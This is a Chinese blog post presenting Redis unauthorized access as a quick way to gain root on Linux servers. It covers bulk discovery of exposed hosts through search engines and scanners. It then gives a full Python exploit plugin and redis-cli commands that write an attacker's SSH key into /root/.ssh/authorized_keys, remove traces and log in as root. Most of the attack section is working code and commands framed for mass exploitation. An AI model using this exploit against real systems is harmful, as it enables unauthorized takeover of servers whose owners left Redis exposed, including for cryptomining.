这篇文章上次修改于 1380 天前,可能其部分内容已经发生变化,如有疑问可询问作者。

biaoti

快速获取Linux服务器权限的方法之一

0x1 什么是Redis

       Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、
Key-Value数据库。和Memcached类似,它支持存储的value 类型相对更多,包括 string(字符串)、list ( 链表)、set(集合)、zset(sorted set – 有序集合)和 hash(哈希类型)。这些数据类型都支持push/pop 、add/remove 及取交集并集和差集及更丰富的操作,而且这些操作都是原子性的。在此基础上,redis支持各种不同方式的排序。与memcached 一样,为了保证效率,数据都是缓存在内存中。区别的是redis会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了master-slave ( 主从)同步。

0x2 Redis未授权访问

      Redis因配置不当导致未授权访问,被黑客恶意利用。目前针对Redis未授权访问的攻击已成一种新型流行攻击方式,多见于获取服务器权限后进行挖矿(继比特币又火了一把之后,各种币热火朝天比如门罗币、零币等)。</span>

      如果Redis以root身份运行,黑客可以利用Redis写入SSH公钥文件,直接通过SSH免密码登录受害服务器。Redis默认绑定在6379端口,并且没有开启认证,在没有任何访问策略的情况下,任何人可以直接在非授权情况下直接访问Redis服务并进行相关操作。

0x3 Redis主机批量采集

批量获取存在Redis未授权访问的服务器方法我通常用以下方法:

  • Zoomeyes、shodan、fofa等网络空间搜索引擎
  • 使用S扫描器扫描指定B、C段开放了默认端口的IP
  • 使用nmap+redis script扫描IP段</span></span></span>

      其实不管使用哪种方法想要达到批量的目的,无外乎获取大量开放Redis服务的主机后批量进行验证。之前使用的最快的方法是使用cdxy写的POC-T开源测试框架(https://github.com/Xyntax/POC-T)。自带的有关于Redis利用插件:

poc

配置Zoomeye的登录配置文件,根据搜索参数进行获取开放Redis服务的主机:
poc-t

另外一个值得说的插件是可验证是否能够修改.ssh目录下的authorized_keys文件,代码细节:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# project = https://github.com/Xyntax/POC-T
# author = i@cdxy.me

"""
redis getshell expliot (ssh authorized_keys)

"""

import redis
import paramiko
from plugin.util import host2IP
from plugin.util import randomString
from plugin.util import checkPortTcp
from paramiko.ssh_exception import SSHException

public_key = 'ssh-rsa ====='

private_key = """
-----BEGIN RSA PRIVATE KEY-----
=====
-----END RSA PRIVATE KEY-----
"""

import time


def poc(url):
    url = host2IP(url)
    ip = url.split(':')[0]
    port = int(url.split(':')[-1]) if ':' in url else 6379
    try:
        if not checkPortTcp(ip, 22):
            return False
        r = redis.Redis(host=ip, port=port, db=0)
        if 'redis_version' in r.info():
            key = randomString(10)
            r.set(key, '\n\n' + public_key + '\n\n')
            r.config_set('dir', '/root/.ssh')
            r.config_set('dbfilename', 'authorized_keys')
            r.save()
            r.delete(key)  # 清除痕迹
            r.config_set('dir', '/tmp')
            time.sleep(5)
            if testConnect(ip, 22):
                return True
    except Exception:
        return False
    return False


def testConnect(ip, port=22):
    try:
        s = paramiko.SSHClient()
        s.load_system_host_keys()
        s.connect(ip, port, username='root', pkey=private_key, timeout=10)
        s.close()
        return True
    except Exception, e:
        if type(e) == SSHException:
            return True
        return False

将Zoomeye或S扫描器获取存在未授权访问的IP导入过滤即可:

poc1

在本地生成公钥:

ssh-keygen -t rsa</pre>

将公钥写入文件并使用redis-cli导入缓存:

echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
cat /root/.ssh/key.txt | ./redis-cli -h 192.168.10.153 -x set xxx

指定Redis服务器的备份目录及文件:

config set dir /root/.ssh
config set dbfilename authorized_keys
save



使用ssh客户端连接:


poc2